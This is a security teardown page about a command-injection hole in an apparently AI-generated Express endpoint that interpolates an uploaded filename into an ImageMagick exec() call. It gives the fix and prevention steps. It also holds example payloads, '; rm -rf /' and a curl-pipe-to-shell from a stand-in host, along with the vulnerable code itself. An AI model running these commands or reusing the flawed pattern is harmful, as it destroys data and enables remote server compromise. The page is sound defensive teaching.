~/teardowns/TD-042.md
←Back to teardowns
# TD-042CriticalSecurity

The Filename That Ran a Shell Command

exec() interpolates the uploaded name straight into the shell

Published Oct 29, 2026

Executive Summary

A vibe-coded Express app generates thumbnails by running ImageMagick with exec() and interpolating the uploaded filename into the command string. exec() runs a shell, so a filename like ; rm -rf / chains arbitrary commands. The upload feature is a command-injection endpoint.

The Prompt

“Generate a thumbnail by running ImageMagick's convert on the uploaded file.”

The Flaw

exec() runs the string through a shell, so shell metacharacters in the filename are interpreted. A filename of `; rm -rf /` — or `$(curl evil.sh | sh)` — chains arbitrary commands after the intended one. The thumbnail feature never touches user input in a safe form: it feeds it to /bin/sh.

Risk & Impact

[Security] Any visitor who can upload a file can run commands on the server. The filename is the payload, and the shell does the rest.

Cost: Remote command execution and full server compromise from a single upload.

Code Comparison

❌ Vulnerable (AI generated)

thumb.jsjavascript
1
2
3
4
5
6
7
8
const { exec } = require('child_process');
app.post('/thumbnail', (req, res) => {
exec(`convert ${req.body.filename} -resize 200x200 out.png`, (err) => {
res.send(err ? 'failed' : 'ok');
});
});

The Fix

Use execFile()/spawn() with an argument array — no shell, no metacharacter interpretation — and validate the filename against an allowlist before it reaches the command.

Prevention

  • [linter] ESLint security plugins flag exec() with concatenated strings; require execFile/spawn with argument arrays.
  • [ci] A test that uploads a filename containing ; or $(...) must never result in the injected command being run.
  • [manual] Forbid shell-string construction (rule 6) and validate every argument at the boundary (rule 3).

Why This Happened

Root cause: the prompt omitted Rule 3 and Rule 6 — the guardrails that would have caught this. See the full guide →

Sources

Is your codebase vulnerable to this?

Run Diagnostic on My Project →